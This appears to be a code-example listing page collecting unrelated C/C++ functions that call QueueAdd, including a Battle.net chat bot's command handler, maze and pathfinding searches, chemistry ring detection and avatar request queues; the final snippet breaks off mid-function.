示例#1
0
文件: commands.c 项目: kwolekr/phyros
void CheckCommand(char *user, char *text, int external, int index) {
	char asdf[128];
	PLUSER pluser;
	if (external) {
		if (*text == bot[index]->trigger || *(int16_t *)text == '++') {
			//lcase(user);
			pluser = HtGetItem(user, lusers, TL_LUSERS);
			if (pluser) {
				if (*text != bot[index]->trigger)
					text += 2;
				else
					text++;
				HandleCmdReq(pluser, text, index);
			}
		} else if (*text == '?') {
			if (*(int32_t *)(text) == 'irt?' && *(int32_t *)(text + 4) == 'regg') {
			    //lcase(user);
				pluser = HtGetItem(user, lusers, TL_LUSERS);
			   	if (pluser) {
					if (((gstate & GFS_LOCKED) && (pluser->access <= 100))
						|| (pluser->access < 5))
						return;
					sprintf(asdf, "The bot's current trigger is [ %c ].", bot[index]->trigger);
					QueueAdd(asdf, index);
				}
			}
		}
	} else {
		HandleCmdReq(botpluser, text + 2, 0);
	}
}
VOID QueueHashAddToSubqueue(Queue *pHashQueue, PSID pSID, VOID * pData) {

    ASSERT(pHashQueue != NULL);

    if (pHashQueue->lpCriticalSection != NULL) EnterCriticalSection(pHashQueue->lpCriticalSection);

#ifdef DEBUG2
    DbgMsgRecord(TEXT("-> QueueHashAddToSubqueue\n"));
#endif

    // Put the request onto the appropriate queue.

    // Lookup the subqueue for the user's sid.
    Queue * pQueue = (Queue *) QueueHashLookup(pHashQueue, pSID, FALSE);
    // If the subqueue does not exist, create it.
    if (pQueue == NULL) {
        if ((pQueue = QueueCreate(TRUE)) == NULL) {
            AddToMessageLog(TEXT("QueueHashAddToSubqueue: QueueCreate failed"));
            if (pHashQueue->lpCriticalSection != NULL) LeaveCriticalSection(pHashQueue->lpCriticalSection);
            return;
	}
        QueueHashAdd(pHashQueue, pSID, pQueue, FALSE);
    }
    // Add the request to the subqueue
    QueueAdd(pQueue, pData, FALSE);   

#ifdef DEBUG2
    DbgMsgRecord(TEXT("<- QueueHashAddToSubqueue\n"));
#endif

    if (pHashQueue->lpCriticalSection != NULL) LeaveCriticalSection(pHashQueue->lpCriticalSection);
}
示例#3
0
void AINutPlayer::Use(int abilityID) {

	if (attachedCreature->ab[0].bPending == false) {
		//DEBUG OUTPUT
		if (g_Config.DebugLogAIScriptUse == true) {
			const Ability2::AbilityEntry2* abptr =
					g_AbilityManager.GetAbilityPtrByID(abilityID);
			g_Log.AddMessageFormat("Using: %s",
					abptr->GetRowAsCString(Ability2::ABROW::NAME));
		}
		//END DEBUG OUTPUT

		int r = attachedCreature->CallAbilityEvent(abilityID,
				EventType::onRequest);
		if (r != 0) {
			//Notify the creature we failed, may need a distance check.
			//The script should wait and retry soon.
			attachedCreature->AICheckAbilityFailure(r);

			if (g_Config.DebugLogAIScriptUse == true) {
				const Ability2::AbilityEntry2* abptr =
						g_AbilityManager.GetAbilityPtrByID(abilityID);
				g_Log.AddMessageFormat("Using: %s   Failed: %d",
						abptr->GetRowAsCString(Ability2::ABROW::NAME),
						g_AbilityManager.GetAbilityErrorCode(r));
			}

			if (attachedCreature->AIAbilityFailureAllowRetry(r) == true)
				QueueAdd(new ScriptCore::NutScriptEvent(
							new ScriptCore::TimeCondition(USE_FAIL_DELAY),
							new UseCallback(this, abilityID)));
		}
	}
}
示例#4
0
文件: maze.c 项目: funning/algorithm
int dealNodeR(int myMaze[][9], Queue* queue, Postion* current, Postion start, Postion end) {
	int match = 1, i = 0;
	int x = current->x, y = current->y, tmp = 0;
	Postion* p[6] = {0};
	tmp = x + 1;
	if (dealNode(myMaze, tmp, y, end, myMaze[y][x], &(p[i++])) == 1) {
		goto EXIT;
	}
	tmp = x - 1;
	if (dealNode(myMaze, tmp, y, end, myMaze[y][x], &(p[i++])) == 1) {
		goto EXIT;
	}
	tmp = y + 1;
	if (dealNode(myMaze, x, tmp, end, myMaze[y][x], &(p[i++])) == 1) {
		goto EXIT;
	}
	tmp = y - 1;
	if (dealNode(myMaze, x, tmp, end, myMaze[y][x], &(p[i++])) == 1) {
		goto EXIT;
	}
	match = 0;
	i = 0;
	for (;i<=3;i++) {
		if (p[i]) {
			QueueAdd(queue, p[i]);
		}
	}
EXIT:
	while(p[i]) {
		tk_free(p[i]);
		i++;
	}
	return match;
}
示例#5
0
/*  BFS: Breadth First Search */
int GetMinRingSize( inp_ATOM* atom, QUEUE *q, AT_RANK *nAtomLevel, S_CHAR *cSource, AT_RANK nMaxRingSize )
{
    int qLen, i, j;
    AT_RANK nCurLevel, nRingSize, nMinRingSize=MAX_ATOMS+1;
    qInt at_no, next;
    int  iat_no, inext;
    
    while ( qLen = QueueLength( q ) ) {
        /*  traverse the next level (next outer ring) */
        for ( i = 0; i < qLen; i ++ ) {
            if ( 0 <= QueueGet( q, &at_no ) ) {
                iat_no = (int)at_no;
                nCurLevel = nAtomLevel[iat_no] + 1;
                if ( 2*nCurLevel > nMaxRingSize + 4 ) {
                    /*  2*nCurLevel = nRingSize + 3 + k, k = 0 or 1  */
                    if ( nMinRingSize < MAX_ATOMS+1 ) {
                        return (nMinRingSize >= nMaxRingSize)? 0 : nMinRingSize;
                    }
                    return 0; /*  min. ring size > nMaxRingSize */
                }
                for ( j = 0; j < atom[iat_no].valence; j ++ ) {
                    next  = (qInt)atom[iat_no].neighbor[j];
                    inext = (int)next;
                    if ( !nAtomLevel[inext] ) {
                        /*  the at_no neighbor has not been traversed yet. Add it to the queue */
                        if ( 0 <= QueueAdd( q, &next ) ) {
                            nAtomLevel[inext] = nCurLevel;
                            cSource[inext] = cSource[iat_no]; /*  keep the path number */
                        } else {
                            return -1; /*  error */
                        }
                    } else
                    if ( nAtomLevel[inext]+1 >= nCurLevel &&
                         cSource[inext] != cSource[iat_no]
                         /*  && cSource[(int)next] != -1 */
                       ) {
                        /*  found a ring closure */
                        /*  debug */
                        if ( cSource[inext] == -1 ) {
                            return -1;  /*  error */
                        }
                        if ( (nRingSize = nAtomLevel[inext] + nCurLevel - 2) < nMinRingSize ) {
                            nMinRingSize = nRingSize;
                        }
                        /* return (nRingSize >= nMaxRingSize)? 0 : nRingSize; */
                    }
                }
            } else {
                return -1; /*  error */
            }
        }
    }

    if ( nMinRingSize < MAX_ATOMS+1 ) {
        return (nMinRingSize >= nMaxRingSize)? 0 : nMinRingSize;
    }

    return 0;
}
示例#6
0
// Поиск в ширину (FIFO)
int TreeSearch(){
 int i,j;
 node *n = NodeCreate(start_i,start_j,NULL,0,NOTHING); 
 array arr; 
 queue *h = QueueCreate();
 QueueAdd(h,n); 
 while(!QueueIsEmpty(h)){
   n = QueueGet(h); 
     if(NodeIsFinish(n)){ 
	while(n->parent != NULL){ 
	  NodePrint(n); 
	  field[n->state[0]][n->state[1]] = USED;
       	  n = n->parent;
	}
	field[n->state[0]][n->state[1]] = USED;
	printf("\nКарта пути:\n");
	printf("\"X\" - Препятствие\n");
	printf("\".\" - Свободная ячейка\n");
        printf("\"*\" - Путь робота\n\n");
	for(i = 0; i<SIZE; i++){ 
	  for(j = 0; j<SIZE; j++){
	    if(field[i][j] == FREE)printf(".");
	    if(field[i][j] == OBSTACLE)printf("X");
	    if(field[i][j] == USED)printf("*");
	  }
	  printf("\n");
	}
	free(h);
	return 0;
     }
     //если решение еще не нашлось, то заново записываем переферию
     arr = Expand(n);
     for(i = 0; i < arr.size; i++){
       QueueAdd(h, arr.arr[i]);
     }
 } 
 printf("Can't find solution\n");
 free(h);
return 0;
}
示例#7
0
void ProcessAvatarInfo(MCONTACT hContact, int type, PROTO_AVATAR_INFORMATIONT *pai, const char *szProto)
{
	QueueRemove(hContact);

	if (type == GAIR_SUCCESS) {
		if (pai == NULL)
			return;

		// Fix settings in DB
		db_unset(hContact, "ContactPhoto", "NeedUpdate");
		db_unset(hContact, "ContactPhoto", "RFile");
		if (!db_get_b(hContact, "ContactPhoto", "Locked", 0))
			db_unset(hContact, "ContactPhoto", "Backup");
		db_set_ts(hContact, "ContactPhoto", "File", pai->filename);
		db_set_w(hContact, "ContactPhoto", "Format", pai->format);

		if (pai->format == PA_FORMAT_PNG || pai->format == PA_FORMAT_JPEG
			 || pai->format == PA_FORMAT_ICON || pai->format == PA_FORMAT_BMP
			 || pai->format == PA_FORMAT_GIF) {
			// We can load it!
			MakePathRelative(hContact, pai->filename);
			ChangeAvatar(hContact, TRUE, TRUE, pai->format);
		}
		else // As we can't load it, notify but don't load
			ChangeAvatar(hContact, FALSE, TRUE, pai->format);
	}
	else if (type == GAIR_NOAVATAR) {
		db_unset(hContact, "ContactPhoto", "NeedUpdate");

		if (db_get_b(NULL, AVS_MODULE, "RemoveAvatarWhenContactRemoves", 1)) {
			// Delete settings
			db_unset(hContact, "ContactPhoto", "RFile");
			if (!db_get_b(hContact, "ContactPhoto", "Locked", 0))
				db_unset(hContact, "ContactPhoto", "Backup");
			db_unset(hContact, "ContactPhoto", "File");
			db_unset(hContact, "ContactPhoto", "Format");

			// Fix cache
			ChangeAvatar(hContact, FALSE, TRUE, 0);
		}
	}
	else if (type == GAIR_FAILED) {
		int wait = Proto_GetDelayAfterFail(szProto);
		if (wait > 0) {
			// Reschedule to request after needed time (and avoid requests before that)
			mir_cslock lock(cs);
			QueueRemove(hContact);
			QueueAdd(hContact, wait);
		}
	}
}
示例#8
0
/*
 * Add entry to compose queue.
 */
void
ComposeEnqueue(
	struct QueueEntry *qe)
{
	qe->QeAr->ArSchedPriority = qe->QeAr->ArPriority;

	/*
	 * Run the Compose() thread.
	 */
	PthreadMutexLock(&composeWaitMutex);
	QueueAdd(qe, &composeQ);
	PthreadCondSignal(&composeWait);
	PthreadMutexUnlock(&composeWaitMutex);
}
void rsort(int arr[], int len) 
{
  queue *qs[10];
  for (int i = 0; i < 10; i++) qs[i] = QueueNew();

  for (int i = 0; i < 3 ; i++) { // 3 digit mods
    for (int j = 0; j < len; j++) { // array index
      int tmp = arr[j];
      for (int k = 0; k < i; k++) tmp /= 10; // get current digit
      int index = (tmp % 10); // bucket
      QueueAdd(qs[index], arr[j]);
    }
    rcopy(qs, 10, arr, len); // dump back to array
  }
    
  for (int i = 0; i < 10; i++) QueueFree(qs[i]);
}
示例#10
0
int is_bond_in_Nmax_memb_ring( inp_ATOM* atom, int at_no, int neigh_ord, QUEUE *q, AT_RANK *nAtomLevel, S_CHAR *cSource, AT_RANK nMaxRingSize )
{
    int  nMinRingSize = -1, i;
    qInt n;
    int  nTotLen;

    if ( nMaxRingSize < 3 ) {
        return 0;
    }
    
    QueueReinit( q );

    /*  mark the starting atom */
    nAtomLevel[at_no] =  1;
    cSource[at_no]    = -1;
    /*  add neighbors */
    for ( i = 0; i < atom[at_no].valence; i ++ ) {
        n = (qInt)atom[at_no].neighbor[i];
        nAtomLevel[(int)n] = 2;
        cSource[(int)n]    = 1 + (i==neigh_ord);
        QueueAdd( q, &n );
    }

    nMinRingSize =  GetMinRingSize( atom, q, nAtomLevel, cSource, nMaxRingSize );
    /*  cleanup */
    nTotLen = QueueWrittenLength( q );
    for ( i = 0; i < nTotLen; i ++ ) {
        if ( 0 < QueueGetAny( q, &n, i ) ) {
            nAtomLevel[(int)n] = 0;
            cSource[(int)n]    = 0;
        }
    }
    nAtomLevel[at_no] = 0;
    cSource[at_no]    = 0;


/*
    if ( nAtomLevel )
        inchi_free ( nAtomLevel );
    if ( cSource )
        inchi_free ( cSource );
    QueueDelete( q );
*/
    return nMinRingSize;
}
示例#11
0
void AddOpen(PathFinder* pf, int x, int y, Node* parent)
{
    if (x < 0 || x >= pf->map->width)
        return;
    if (y < 0 || y >= pf->map->height)
        return;

    // Ignore if the node isn't walkable
    if (GetTile(pf->map, x, y) == Wall)
        return;

    // Ignore if the node has already been checked before.
    if (pf->nodeMap[x][y].open == OnClosedList)
        return;

    if (pf->nodeMap[x][y].open == NoList)
    {
        pf->nodeMap[x][y].parent = parent;

        pf->nodeMap[x][y].g = ComputeG(pf, x, y, parent);
        pf->nodeMap[x][y].h = ComputeH(pf, x, y);
        pf->nodeMap[x][y].f = ComputeF(pf, x, y);

        pf->nodeMap[x][y].open = OnOpenList;
        QueueAdd(pf->openList, &pf->nodeMap[x][y]);
    }
    else if (pf->nodeMap[x][y].open == OnOpenList)
    {
        int g = ComputeG(pf, x, y, parent);

        // If this path we're currently searching is better, use it instead
        if (pf->nodeMap[x][y].g > g)
        {
            pf->nodeMap[x][y].parent = parent;

            pf->nodeMap[x][y].g = ComputeG(pf, x, y, parent);
            pf->nodeMap[x][y].h = ComputeH(pf, x, y);
            pf->nodeMap[x][y].f = ComputeF(pf, x, y);

            int index = QueueSearch(pf->openList, &pf->nodeMap[x][y]);
            PercolateUp(pf->openList, index, &pf->nodeMap[x][y]);
        }
    }
}
示例#12
0
文件: phrase.c 项目: kwolekr/phyros
void CheckPhrases(char *user, char *text) {
	LPPHRASE lpPhrase;
	char buf[256];

	lpPhrase = FindPhraseban(phrases, text);
	if (lpPhrase) {
		switch (lpPhrase->action) {
			case ACT_KICK:
			case ACT_BAN:
				AddBanQueue(lpPhrase->action, user, lpPhrase->reason);
				break;
			case ACT_SHIT:
				BlacklistAddToDB(user, 'S', NULL, lpPhrase->reason, buf); //////do something on errors!
				break;
			case ACT_SAY: //should probably check for issuing commands to battle.net
				QueueAdd(lpPhrase->phrase, curbotinc());
		}
	}
}
VOID QueueHashAdd(Queue *pQueue, PSID Sid, VOID *pValue, BOOL EnterCritSec) {
    QueueHashNode *pQueueHashNode;
    DWORD SidLength;

    ASSERT(pQueue != NULL);

    if (pQueue->lpCriticalSection != NULL && EnterCritSec) EnterCriticalSection(pQueue->lpCriticalSection);

#ifdef DEBUG2
    DbgMsgRecord(TEXT("-> QueueHashAdd\n"));
#endif

    pQueueHashNode = (QueueHashNode *) AutoHeapAlloc(sizeof(QueueHashNode));

    SidLength = GetLengthSid(Sid);

    // We need to copy the key so that if the original
    // copy gets deallocated we still have one.
    if ((pQueueHashNode->pKey = AutoHeapAlloc(SidLength)) == NULL) {
        AddToMessageLog(TEXT("QueueHashAdd: AutoHeapAlloc failed"));

        if (pQueue->lpCriticalSection != NULL && EnterCritSec) LeaveCriticalSection(pQueue->lpCriticalSection);
        return;
    }

    if (CopySid(SidLength, pQueueHashNode->pKey, Sid) == 0) {
        AddToMessageLogProcFailure(TEXT("QueueHashAdd: CopySid"), GetLastError());

        if (pQueue->lpCriticalSection != NULL && EnterCritSec) LeaveCriticalSection(pQueue->lpCriticalSection);
        return;    
    }

    pQueueHashNode->pValue = pValue;

    QueueAdd(pQueue, (VOID *) pQueueHashNode, FALSE);

#ifdef DEBUG2
    DbgMsgRecord(TEXT("<- QueueHashAdd\n"));
#endif

    if (pQueue->lpCriticalSection != NULL && EnterCritSec) LeaveCriticalSection(pQueue->lpCriticalSection);
}
int main()
{
	int count = QSIZE/2;
	int probadd = 50;
	int probdel = 50;
	nonblock(NB_ENABLE);
	printf("Producer-Consumer simulation \n");
	printf("   The bar graph shows how full the queue is \n");
	printf("   use keys a,z, to adjust producer rate\n");
	printf("   use keys s,x, to adjust consumer rate\n");
	printf("   use q to exit\n");
	printf("----------------------------------\n");

	while(1)
	{
		int blocked = 0;
		int rp = random(probadd);	//- producer priority 
		int rc = random(probdel); 	//- consumer priority
		if (kbhit())
		{
			char c = fgetc(stdin);
			printf("\b");		//- delete it
			fflush(0);

			if (c == 'a') probadd++;
			if (c == 'z') probadd--;
			if (c == 's') probdel++;
			if (c == 'x') probdel--;
			if (c == 'q') break;
			probadd = limit(probadd, 40, 60);
			probdel = limit(probdel, 40, 60);
		}
		if (rp) blocked |= QueueAdd(rp, QSIZE);
		if (rc) blocked |= QueueDel(rc, QSIZE);
		BarDisplayEx(QueueDepth(), QSIZE, 
				&probadd, &probdel, blocked);
		usleep(20000);
	}
	QueuePrint();
}
示例#15
0
static void RequestThread(void *vParam)
{
	while (!g_shutDown) {
		EnterCriticalSection(&cs);

		if (queue.getCount() == 0) {
			// No items, so suspend thread
			LeaveCriticalSection(&cs);
			mir_sleep(POOL_DELAY);
			continue;
		}

		// Take a look at first item
		QueueItem& qi = queue[queue.getCount() - 1];
		if (qi.check_time > GetTickCount()) {
			// Not time to request yet, wait...
			LeaveCriticalSection(&cs);
			mir_sleep(POOL_DELAY);
			continue;
		}

		// Will request this item
		MCONTACT hContact = qi.hContact;
		queue.remove(queue.getCount() - 1);
		QueueRemove(hContact);
		LeaveCriticalSection(&cs);

		if (FetchAvatarFor(hContact) == GAIR_WAITFOR) {
			// Mark to not request this contact avatar for more 30 min
				{
					mir_cslock lock(cs);
					QueueRemove(hContact);
					QueueAdd(hContact, REQUEST_WAITFOR_WAIT_TIME);
				}

			// Wait a little until requesting again
			mir_sleep(REQUEST_DELAY);
		}
	}
}
示例#16
0
文件: maze.c 项目: funning/algorithm
void markPoit(int myMaze[][9], stack* s, Postion end) {
	Postion* p = stack_pop(s);
	Queue* q = QueueInit();
	Postion current = end;
	while(p != 0) {
		if (isNear(*p, current) == 1) {
			myMaze[p->y][p->x] = 1;
			current = *p;
			QueueAdd(q, p);
		} else {
			tk_free(p);
		}
		p = stack_pop(s);
	}
	p = QueueGet(q);
	printf("(5,5)");
	while(p != 0) {
		printf("<-(%d,%d)", p->x, p->y);
		tk_free(p);
		p = QueueGet(q);
	}
	printf("\n");
	QueueDestory(q);
}
示例#17
0
// Add an contact to a queue
void QueueAdd(MCONTACT hContact)
{
	QueueAdd(hContact, waitTime);
}
示例#18
0
文件: main.c 项目: kwolekr/phyros
int main(int argc, char **argv) {
	char text[256];
	int i;

	#ifdef _WIN32
		HMODULE hLib;
		WSADATA wsadata;
		WSAStartup(0x0202, &wsadata);

		InitUptimePerfCounter();

		hLib = LoadLibrary("advapi32.dll");
		if (hLib)
			lpfnRtlGenRandom = (_RtlGenRandom)GetProcAddress(hLib, "SystemFunction036");

		#ifdef _DEBUG
			_CrtSetDbgFlag(_CrtSetDbgFlag(_CRTDBG_REPORT_FLAG) | _CRTDBG_LEAK_CHECK_DF |
				_CRTDBG_CHECK_ALWAYS_DF |  _CRTDBG_CHECK_CRT_DF | _CRTDBG_ALLOC_MEM_DF);
		#endif
	#endif

	GetOS(text);
	printf("\n -- Phyros " BOT_VER " -- %s --\n\n", text);

	loadedtime = getuptime();

	#ifndef _WIN32
		SetPipeSignalHandler();
	
		if (getuid() == 0) {
			printf("WARNING: should not be running as root!\n");
			setuid(GetUidFromUsername("nobody"));
		} //////should set the group id instead so files can be modified at runtime
	#endif

	botpluser = malloc(sizeof(LUSER));
	botpluser->access = 103;
	strcpy(botpluser->username, "the bot");

	maintid = get_self_tid();
	
	#ifndef _DEBUG
		SetSegvSignalHandler();
	#endif

	tagbans[WCP_BACK]  = RadixInit();
	tagbans[WCP_FRONT] = RadixInit();
	tagbans[WCP_BOTH]  = RadixInit();
	phrases	 = RadixInit();
	cdkeys   = VectorInit(8);
	//banqueue = malloc(BANQUEUE_INITIALSIZE * sizeof(char *));
	//bqsize   = BANQUEUE_INITIALSIZE;

	SetDefaultConfig();

	LoadConfig();
	LoadUsers();
	LoadCDKeys();
	GetRealms();
	BlacklistLoad();
	LoadPhrases();
	CmdTreeInit();
	LoadAccessModifications();

	ParseCmdLine(argc, argv);

	for (i = 0; i != 3; i++) {
		if (!hashes[i][0]) {
			gstate |= GFS_USEBNLS;
			printf("WARNING: path for binary \'%s\' not set, falling back to BNLS checkrevision\n",
				hash_filenames[i]);
			break;
		}
	}

	if (gstate & GFS_CHECKUPDATES) {
		printf(" - checking %s%s for updates...\n", updatesite, updateverfile);
		printf("%s\n", updateresult[CheckUpdate(updatesite, updateverfile)]);
	}

	CreateAsyncTimer();
	ptimertid = _CreateThread(PeriodicTimerWaitProc, NULL);
	AddPeriodicTimer(TIMER_NULLPKT, 10, NullPacketTimerProc);
	
	setjmp(jmpenv);


	////////////////////////////////////////////TEST BATTERY//////////////////////////////////////
	/*ChatHandleChannel("Clan Blah", 0, 0);
	//ChatHandleJoin("loladfg", 0, 43, "PXES 0 0 0 0 0 PXES", 0, 0); 
	ChatHandleJoin("loladf1aaaaaaaaaa", 0, 43, "PXES 0 0 0 0 0 PXES", 0, 0); 
	ChatHandleJoin("loladf2bbbbbfffe", 0, 43, "PXES 0 0 0 0 0 PXES", 0, 0); 
	ChatHandleJoin("loladf3", 0, 43, "PXES 0 0 0 0 0 PXES", 0, 0); 
	ChatHandleJoin("loladf4", 0, 43, "PXES 0 0 0 0 0 PXES", 0, 0); 
	ChatHandleJoin("loladf5", 0, 43, "PXES 0 0 0 0 0 PXES", 0, 0); 
	ChatHandleJoin("loladf6", 0, 43, "PXES 0 0 0 0 0 PXES", 0, 0); 
	ChatHandleJoin("loladf7", 0, 43, "PXES 0 0 0 0 0 PXES", 0, 0); 
	ChatHandleJoin("loladf8", 0, 43, "PXES 0 0 0 0 0 PXES", 0, 0); 
	ChatHandleJoin("loladf9", 0, 43, "PXES 0 0 0 0 0 PXES", 0, 0); 
	ChatHandleJoin("loladfa", 0, 43, "PXES 0 0 0 0 0 PXES", 0, 0); 
	ChatHandleJoin("loladfb", 0, 43, "PXES 0 0 0 0 0 PXES", 0, 0); 
	ChatHandleJoin("loladfc", 0, 43, "PXES 0 0 0 0 0 PXES", 0, 0); 
	ChatHandleJoin("loladfd", 0, 43, "PXES 0 0 0 0 0 PXES", 0, 0); */

	/*printf("%x\n", FindTextInWildcards(tagbans, "asdfgdfg"));
	printf("%x\n", FindTextInWildcards(tagbans, "as[tg]gdfg"));
	printf("%x\n", FindTextInWildcards(tagbans, "asdfgdfg[tg]"));
	printf("%x\n", FindTextInWildcards(tagbans, "asdfgdfg"));
	printf("%x\n", FindPhraseban(phrases, "raiasdfdasdfzomgzasdfasdfasdfasdf"));
	printf("%x\n", FindPhraseban(phrases, "raiasdfgdfgbloop"));
	printf("%x\n", FindPhraseban(phrases, "bloo asfukdfgdfg zomg"));*/
	/////////////////////////////////////////////////////////////////////////////////////////////

	while (1) {
		fgets(text, sizeof(text), stdin);
		text[strlen(text) - 1] = 0;
		if (*(int16_t *)text == '//')
			CheckCommand(NULL, text, 0, 0);
		else
			QueueAdd(text, curbotinc());
	}
	return 0;
}
示例#19
0
文件: commands.c 项目: kwolekr/phyros
void HandleCmdReq(PLUSER pluser, char *text, int index) {
	char asdf[256], sdfg[256], timestamp[16], tmpuser[32];
	char *tosend, *bigmem;
	int cmdi, i;
	time_t rawtime;
	void *timeinfo;
	void (*InviteResponse)(int, int);
	LPCHUSER pchuser;
	PLUSER tmppluser;
	char *temp, *arg2, chr;

	if ((gstate & GFS_LOCKED) && (pluser->access <= 100))
		return;

	temp = strchr(text, ' ');
	if (temp) {
		*temp++ = 0;
		if ((pluser->access >= 100) && isnumstr(text)) {
			QueueAdd(temp, atoi(text));
			return;
		}
	}

	lcase(text); //// justified
	cmdi = CmdGetIndex(hash((unsigned char *)text));
	if (cmdi == -1 || strcmp(text, cmddesc[cmdi].string)) {
		if (pluser->access == 103)
			printf("\'%s\' invalid command!\n", text);
		return;
	}
    if (pluser->access < cmddesc[cmdi].access)
        return;

	tosend = NULL;
	bigmem = NULL;
	switch (cmdi) {
		case CMD_V:
		case CMD_VER:
		case CMD_VERSION:
            //*(int32_t *)0 = 0; ///for crash handle testing
			GetOS(sdfg);
			sprintf(asdf, pluser->access == 103 ?
				"Phyros " BOT_VER "  [ %s ]" :
				"/me : : : Phyros " BOT_VER "  [ %s ] : : : ", sdfg);
			tosend = asdf;
			break;
		case CMD_SAY:
			if (pluser->access < 100)
				*(--temp) = ' ';
			tosend = temp;
			break;
		case CMD_RUN:
		case CMD_LOUD:
            if (temp)
                _CreateThread(RunLoudProc, temp);
			break;
		case CMD_RUNQUIET:
		case CMD_QUIET:
            if (temp)
                _CreateThread(RunQuietProc, temp);
			break;
		case CMD_B:
		case CMD_BAN:
			HandleBUKUserCmd(pluser, temp, BTYPE_FBAN, index);
			break;
		case CMD_UU:
			sprintf(asdf, "/w %s You have been unbanned from %s.",
				temp, curchan);
			tosend = asdf;
		case CMD_UNBAN:
		case CMD_U:
			HandleBUKUserCmd(pluser, temp, BTYPE_UNBAN, index);
			break;
		case CMD_K:
		case CMD_KICK:
			HandleBUKUserCmd(pluser, temp, BTYPE_KICK, index);
			break;
		case CMD_A:
		case CMD_ACCESS:
		case CMD_WHOIS:
		case CMD_WHOAMI:
			if ((cmdi != CMD_WHOIS) && (!temp)) {
				tmppluser = pluser;
			} else {
				if (!temp) {
					tosend = asdf;
					break;
				}
				lcase(temp); /////justified
				RealmFix(temp, tmpuser, 0); //////ermm, is this a regression?
				tmppluser = HtGetItem(tmpuser, lusers, TL_LUSERS);
			}
			if (tmppluser)
				sprintf(asdf, "%s :: %d access", tmppluser->username, tmppluser->access);
			else
				sprintf(asdf, "%s not found in access database.", tmpuser);
			tosend = asdf;
			break;
		case CMD_CMDACCESS:
		case CMD_HELP:
			if (temp) {
				lcase(temp); ////justified
				i = CmdGetIndex(hash((unsigned char *)temp));
				if (i == -1 || strcmp(temp, cmddesc[i].string)) {
					sprintf(asdf, "Command \'%s\' does not exist.", temp);
					tosend = asdf;
				} else {
					if (cmdi == CMD_CMDACCESS) {
						sprintf(asdf, "Command \'%s\' requires %d access.",
							temp, cmddesc[i].access);
						tosend = asdf;
					} else {
						tosend = HelpLookupCmdStr(i);
					}
				}
				tosend = asdf;
			}
			break;
		case CMD_CMDS:
			for (i = 0; i != ARRAYLEN(cmddesc); i++) {
				if (!temp || WildcardMatch(temp, cmddesc[i].string)) {
					printf("%s - access required: %d - %s",
						cmddesc[i].string, cmddesc[i].access, HelpLookupCmdUsage(i));
				}
			}
			break;
		case CMD_ADD:
			*asdf = 0;
			HandleAddUserCmd(pluser, temp, asdf);
			if (*asdf)
				tosend = asdf;
			break;
		case CMD_REM:
			*asdf = 0;
            HandleRemoveUserCmd(pluser, temp, asdf);
			if (*asdf)
				tosend = asdf;
			break;
		case CMD_USERS:
			bigmem = HandleUsersCmd();
			tosend = bigmem;
			break;
		case CMD_BL:
		case CMD_BLACKLIST:
			tosend = HandleBlacklistCmd(pluser, temp, asdf);
			if (!tosend)
				tosend = asdf;
			else
				bigmem = tosend;
			break;
		case CMD_SHITADD:
		case CMD_SA:
			chr = 'S';
			goto over_ta;
		case CMD_TAGADD:
		case CMD_TA:
			chr = 'T';
		over_ta:
			arg2 = strchr(temp, ' ');
			if (arg2)
				*arg2++ = 0;
			BlacklistAddToDB(text, chr, pluser->username, arg2, asdf);
			tosend = asdf;
			break;
		case CMD_SHITDEL:
		case CMD_SD:
			chr = 'S';
			goto over_td;
		case CMD_TAGDEL:
		case CMD_TD:
			chr = 'T';
		over_td:
			BlacklistRemoveFromDB(text, chr, asdf);
			tosend = asdf;
			break;
		case CMD_IPBAN:
		case CMD_IP:
			HandleBUKUserCmd(pluser, temp, BTYPE_IPBAN, index);
			break;
		case CMD_UNIPBAN:
		case CMD_UNIP:
			HandleBUKUserCmd(pluser, temp, BTYPE_UNIP, index);
			break;
		case CMD_SWEEP: // also add a wakechannel command to send everybody's name
		case CMD_SB:    // sweep IDLE command (compare everybody in channel who didn't talk and kick)
			tosend = SweepStart(temp, asdf);
			break;
		case CMD_IPSWEEP:
			break;
		case CMD_IDLESWEEP:
			break;
		case CMD_P:
		case CMD_PING:
			if (temp) {
				if (*(int16_t *)temp == 's/') {
					Send0x15(index);
					break;
				} else {
					lcase(temp); //// justified
					RealmFix(temp, tmpuser, 0);
					pchuser = HtGetItem(tmpuser, users, TL_BNUSERS);
				}
			} else {
				pchuser = HtGetItem((pluser->access == 103) ?
					bot[curbotinc()]->realname : pluser->username, users, TL_BNUSERS);
			}
			if (pchuser) {
				sprintf(asdf, "%s's ping is %ums.", pchuser->username, pchuser->ping);
				tosend = asdf;
			} else {
				tosend = "Specified user cannot be found.";
			}
			break;
		case CMD_BANCOUNT:
			sprintf(asdf, "%u users have been banned.", bancount);
			tosend = asdf;
			break;
		case CMD_BANNED:
			bigmem = HandleBannedCmd();
			tosend = bigmem;
			break;
		case CMD_J:
		case CMD_JOIN:
			sprintf(asdf, "/j %s", temp);
			tosend = asdf;
			break;
		case CMD_FJOIN:
		case CMD_FORCEJOIN:
		case CMD_FJ:
			InsertDWORD(0x02);
			InsertNTString(temp);
			SendPacket(0x0C, index);
			break;
		case CMD_HOME:
			sprintf(asdf, "/j %s", home);
			tosend = asdf;
			break;
		case CMD_CLOSE:
		case CMD_EXIT:
		case CMD_QUIT:
			exit(1);
			break;
		case CMD_LEAVE:
			SendPacket(0x10, index);
			break;
		case CMD_DAEMON:
		case CMD_HIDE:
			#ifdef _WIN32
				ShowWindow(GetConsoleWindow(), SW_HIDE);
			#else

			#endif
			break;
		case CMD_SHOW:
			#ifdef _WIN32
				ShowWindow(GetConsoleWindow(), SW_SHOW);
			#else

			#endif
			break;
		case CMD_CONNECT:
			if (temp) {
				i = atoi(temp);
				if (i < 0 || i >= numbots)
					break;
				ConnectBot(i);
			} else {
				for (i = 0; i != numbots; i++) {
					if (!bot[i]->connected) {
						ConnectBot(i);
						break;
					}
				}
			}
			break;
		case CMD_DISCONNECT:
			if (temp) {
				i = atoi(temp);
				if (i < 0 || i >= numbots)
					break;
				DisconnectBot(i, DISCN_GRACEFUL);
			}
			break;
		case CMD_RC:
		case CMD_RECONNECT:
			if (temp) {
				i = atoi(temp);
				if (i < 0 || i >= numbots)
					break;
				DisconnectBot(i, DISCN_GRACEFUL);
				ConnectBot(i);
			}
			break;
		case CMD_UPTIME:
			tosend = HandleUptimeCmd(asdf, temp, index);
			break;
		case CMD_CQ:
			cmdi = 0;
			for (i = 0; i != numbots; i++)
				cmdi += bot[i]->queue.count;
			sprintf(asdf, "Cleared %d queued items.", cmdi);
			tosend = asdf;
		case CMD_SCQ:
			QueueClearAll();
			break;
		case CMD_CBQ:
		case CMD_SCBQ:

			break;
		case CMD_LW:
